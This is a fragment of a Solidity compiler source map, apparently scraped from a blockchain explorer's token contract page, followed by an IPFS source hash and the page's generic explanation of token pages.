;8909:8;8905:22;8902:55;;;8939:16;;;;8902:55;9018:22;;;;8978:15;;;;8780:270;;;8784:3;8634:422;;;;;:::o;9061:806::-;9110:5;9140:8;9130:80;;-1:-1:-1;9181:1:1;9195:5;;9130:80;9229:4;9219:76;;-1:-1:-1;9266:1:1;9280:5;;9219:76;9311:4;9329:1;9324:59;;;;9397:1;9392:130;;;;9304:218;;9324:59;9354:1;9345:10;;9368:5;;;9392:130;9429:3;9419:8;9416:17;9413:43;;;9436:18;;:::i;:::-;-1:-1:-1;;9492:1:1;9478:16;;9507:5;;9304:218;;9606:2;9596:8;9593:16;9587:3;9581:4;9578:13;9574:36;9568:2;9558:8;9555:16;9550:2;9544:4;9541:12;9537:35;9534:77;9531:159;;;-1:-1:-1;9643:19:1;;;9675:5;;9531:159;9722:34;9747:8;9741:4;9722:34;:::i;:::-;9792:6;9788:1;9784:6;9780:19;9771:7;9768:32;9765:58;;;9803:18;;:::i;:::-;9841:20;;9061:806;-1:-1:-1;;;9061:806:1:o;9872:140::-;9930:5;9959:47;10000:4;9990:8;9986:19;9980:4;9959:47;:::i;10017:168::-;10090:9;;;10121;;10138:15;;;10132:22;;10118:37;10108:71;;10159:18;;:::i;10892:245::-;10959:6;11012:2;11000:9;10991:7;10987:23;10983:32;10980:52;;;11028:1;11025;11018:12;10980:52;11060:9;11054:16;11079:28;11101:5;11079:28;:::i;16172:217::-;16212:1;16238;16228:132;;16282:10;16277:3;16273:20;16270:1;16263:31;16317:4;16314:1;16307:15;16345:4;16342:1;16335:15;16228:132;-1:-1:-1;16374:9:1;;16172:217::o;17611:251::-;17681:6;17734:2;17722:9;17713:7;17709:23;17705:32;17702:52;;;17750:1;17747;17740:12;17702:52;17782:9;17776:16;17801:31;17826:5;17801:31;:::i;17867:980::-;18129:4;18177:3;18166:9;18162:19;18208:6;18197:9;18190:25;18234:2;18272:6;18267:2;18256:9;18252:18;18245:34;18315:3;18310:2;18299:9;18295:18;18288:31;18339:6;18374;18368:13;18405:6;18397;18390:22;18443:3;18432:9;18428:19;18421:26;;18482:2;18474:6;18470:15;18456:29;;18503:1;18513:195;18527:6;18524:1;18521:13;18513:195;;;18592:13;;-1:-1:-1;;;;;18588:39:1;18576:52;;18683:15;;;;18648:12;;;;18624:1;18542:9;18513:195;;;-1:-1:-1;;;;;;;18764:32:1;;;;18759:2;18744:18;;18737:60;-1:-1:-1;;;18828:3:1;18813:19;18806:35;18725:3;17867:980;-1:-1:-1;;;17867:980:1:o;19464:306::-;19552:6;19560;19568;19621:2;19609:9;19600:7;19596:23;19592:32;19589:52;;;19637:1;19634;19627:12;19589:52;19666:9;19660:16;19650:26;;19716:2;19705:9;19701:18;19695:25;19685:35;;19760:2;19749:9;19745:18;19739:25;19729:35;;19464:306;;;;;:::o

Swarm Source

ipfs://0010f2c92e5aba3dba73a678b65df10cf93a31afa47433b0bb5d654e18df7213
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.